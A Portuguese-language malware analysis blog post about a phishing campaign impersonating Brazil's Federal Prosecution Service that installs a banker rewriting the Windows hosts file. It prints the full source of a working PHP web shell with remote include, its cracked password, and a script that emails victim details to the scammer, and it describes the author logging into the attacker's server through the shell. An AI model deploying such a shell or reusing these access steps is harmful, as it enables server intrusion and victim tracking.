Já está circulando há um tempo mensagens de phishing que utilizam o nome do Ministério Público Federal e do Departamento de Polícia Federal falando de uma suposta intimação para comparecer em uma audiência. Hoje recebi mais uma desse tipo e resolvi analisar, vamos ver o que conseguimos.
Identificação do Artefato
Ao clicar no link do e-mail foi feito o download do arquivo:
INTIMACAO-MPF.SCR.exe (MD5: 3168711d7cb3a7a7c1a037dfaa8a66a9)
O executável não possuia compactador e a linguagem de programação identificada foi Microsoft Visual Basic 5.0 / 6.0, assim o caminho estava livre para prosseguir.
Análise Estática
Ao abrir no IDA Pro e buscar pelas strings ficou fácil descobrir as intenções do artefato malicioso.
Vemos um endereço IP, várias URLs de bancos, referência ao arquivo hosts do Windows e por fim uma URL. Só por isso já conseguimos imaginar o que o malware faz: insere entradas no arquivo hosts para redirecionar para um site falso o acesso a sites bancários.
Por fim deve acessar a URL final para “avisar” que mais um caiu no golpe, isso é bem comum e manjado. A análise dinâmica do artefato pode provar a nossa teoria.
Análise Dinâmica
O Regshot e o ProcessMonitor podem nos ajudar com isso, executei o malware com as duas ferramentas abertas e obtive os seguintes resultados.
Regshot: arquivos modificados na execução.
Process Monitor: processo do malware escrevendo no arquivo hosts.
No final da execução o malware automaticamente abriu o Internet Explorer com o site de cartões virtuais www.viacards.com.br (!).
Verficando o C:\Windows\system32\drivers\etc\hosts lá estavam as modificações.
Quando acessei o IP 200.98.201.19 não havia nenhuma página configurada mas buscando o endereço no Google encontrei o site Offensive IP Database dizendo que esse IP já estava envolvido em atividades maliciosas.
Análise Web
Buscando mais informações voltei para aquela última URL encontrada nas strings:
http://XXXXXX/cw/wp-includes/js/tinymce/themes/advanced/skins/default/topx.php
Tentei listar o conteúdo da pasta onde estava a página php, isso seria possível se não houvesse um arquivo index nela. Para a nossa sorte realmente esqueceram do index e foram listados todos os arquivos.
Um servidor web quando configurado para interpretar a linguagem de programação PHP não exibe o código-fonte de um arquivo PHP e sim interpreta a linguagem nele e mostra o resultado. Sendo assim mesmo a pasta não tendo o index se clicarmos nos arquivos plx.php e topx.php não conseguiremos ver seu código-fonte.
Porém como vemos na listagem há também os arquivos plx.txt.1 e topx.tar no mesmo diretório. Possivelmente são cópias dos arquivos originais e como não estão com a extensão PHP podemos fazer download e ver todo seus conteúdos. Isso é muita ingenuidade do golpista ou alguém já mexeu aí antes.
Primeiramente analisando o arquivo plx.php é possível notar que se assemelha a um terminal shell em PHP que permite realizar comandos no servidor.
Nota-se que possui um campo adicional chamado Password. Tentei alguns comandos mas não funcionaram, então precisaria de uma senha para funcionar. Fiz o download do plx.txt.1 e obtive todo o código-fonte PHP do arquivo:
<?php
$md5pass = "ce00f65608bced062b083079d4b1e69c";
$password = $_POST["password"];
$command = $_POST["command"];
$changedir = $_POST["changedir"];
$remotephp = $_GET["remotephp"];
if (empty($password)) $password = $_GET["password"];
if (!empty($password)) { if (md5($password) != $md5pass) $password = ""; }
else $password = "";
if (!isset($changedir) || empty($password)) {
@ $changedir = exec("pwd");
} else {
@ chdir("$changedir");
@ $changedir = exec("pwd");
if (empty($changedir)) { $changedir = "/"; }
}
if (!empty($command) && !empty($password)) {
$command = stripslashes($command);
$temp = explode(" ", $command);
if ($temp[0] == "cd") {
$temp = explode(";", $command);
$changedir = exec("$temp[0]; pwd");
if (empty($changedir)) { $changedir = "/"; }
$command = "";
if (isset($temp[1])) {
$command = $temp[1];
for ($loop = 2; isset($temp[$loop]); $loop++) { $command .= "; $temp[$loop]"; }
}
}
}
?>
<html>
<head>
<title>4843term</title>
</head>
<body bcolor="#FFFFFF" text="#000000">
<font face="Fixedsys">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="left" valign="top">
<form method="post" name="terminal" action="<?php echo $PHP_SELF; ?>" target="_self">
<?php if (empty($password)) { echo " Password:<br>\n"; } ?>
<input type="<?php if (!empty($password)) { echo "hidden"; } else { echo "password"; } ?>" name="password" size="50"<?php if (!empty($password)) echo " value=\"$password\""; ?>><?php if (empty($password)) { echo "<br><br>\n"; } ?>
Directory:<br>
<input type="text" name="changedir" size="50"<?php if (isset($changedir)) echo " value=\"$changedir\""; ?>><br><br>
Command:<br>
<input type="text" name="command" size="50">
<input type="submit" value="Execute"><br>
<input type="checkbox" name="stderr"<?php if (isset($stderr) || !isset($command)) echo " checked"; ?>> Enable stderr-trappin
</form>
</td>
<td align="left" valign="center">
<pre>
4843term by Havenard
Version 1.050501 [01/May/2005]
Contact : havenard@hotmail.com
IRC : irc.brasnet.org
01010000 01001110 01010111
</pre>
</td>
</tr>
</table>
<br>
<pre>
<?php
if (md5($password) == $md5pass) {
@ chdir("$changedir");
$safe_mode = (bool)ini_get("safe_mode");
if (!$safe_mode) {
if (!empty($command)) {
ob_start();
if (!isset($OS) || ($OS != "Windows_NT"))
@passthru("$command 2>&1");
else
@passthru("$command");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output))
echo str_replace(">", ">", str_replace("<", "<", $output));
}
}
else {
echo "Due to SafeMode, it's unable to execute commands!\n";
echo "Machine informations:\n";
echo "PHP: ".phpversion()."\n";
echo "Server: $SERVER_SOFTWARE $SERVER_VERSION\n";
$uname = @posix_uname();
if (!empty($uname)) {
while (list($info, $value) = each($uname))
echo "$value ";
echo "\n";
}
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid))
echo "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)\n";
}
if (!empty($remotephp)) include($remotephp);
}
?>
</pre>
<script> document.terminal.command.focus(); </script>
</body>
</html>
Vemos que autenticação dele se baseia em:
$md5pass = "ce00f65608bced062b083079d4b1e69c";
$password = $_POST["password"];
…
if (md5($password) == $md5pass) {
@ chdir("$changedir");
…
Se o MD5 do password digitado for igual ao MD5 que está no código-fonte ele libera os comandos digitados. Então basta sabermos que caracteres correspodem a esse MD5 e conseguiremos o acesso. Hoje em dia é muito comum os sites com cracks de hashs MD5, uma rápida busca no Google por esse MD5 me retornou a string referente a esse hash.
ce00f65608bced062b083079d4b1e69c aihdffa
Inserindo esse password no shell PHP e o comando “ls -la” eis a saída:
Agora para ver o conteúdo do topx.php sem precisar baixar o arquivo tar basta darmos um “cat topx.php”.
Aqui o conteúdo total do arquivo topx.php:
<?php
$OSList = array
(
'Windows 3.11' => 'Win16',
'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)',
'Windows 98' => '(Windows 98)|(Win98)',
'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)',
'Windows XP' => '(Windows NT 5.1)|(Windows XP)',
'Windows Server 2003' => '(Windows NT 5.2)',
'Windows Vista' => '(Windows NT 6.0)',
'Windows 7' => '(Windows NT 7.0)',
'Windows 7' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
'Windows ME' => 'Windows ME',
'Open BSD' => 'OpenBSD',
'Sun OS' => 'SunOS',
'Linux' => '(Linux)|(X11)',
'Mac OS' => '(Mac_PowerPC)|(Macintosh)',
'QNX' => 'QNX',
'BeOS' => 'BeOS',
'OS/2' => 'OS/2',
'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
);
foreach($OSList as $CurrOS=>$Match)
{
if (eregi($Match, $_SERVER['HTTP_USER_AGENT']))
{
break;
}
}
$useragent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('|MSIE ([0-9].[0-9]{1,2})|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'IE';
} elseif (preg_match( '|Opera/([0-9].[0-9]{1,2})|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Opera';
} elseif(preg_match('|Firefox/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Firefox';
} elseif(preg_match('|Chrome/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Chrome';
} elseif(preg_match('|Safari/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Safari';
} else {
// browser not recognized!
$browser_version = 0;
$browser= 'other';
}
$ip = $_SERVER["REMOTE_ADDR"];
$to = "XXXXXXXXXXXXXXXXXXXXX";
$cabecalho ="From: ae (+Infect)";
$headers = "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: ++INFECT++ <no-reply@priv8.in>";
$conteudo.="<b>Navegador: </b>$browser $browser_version<br>$CurrOS<br> ";
@mail($to,"$cabecalho $ip $browser $browser_version ", "$conteudo", $headers);
Header("location: http://www.viacards.com.br")
?>
Ele pega várias informações do computador da vítima: IP, browser, versão do browser e sistema operacional. Envia por e-mail para o golpista avisando que mais um caiu no golpe e por fim abre o site de cartões para despistar.
Os outros dois executáveis que estavam no diretório seguiam o mesmo padrão desse analisado, a única diferença é o IP inserido no hosts que nesse caso foi o 96.126.116.39.
Um golpe simples e antigo mas que os bankers brasileiros ainda utilizam.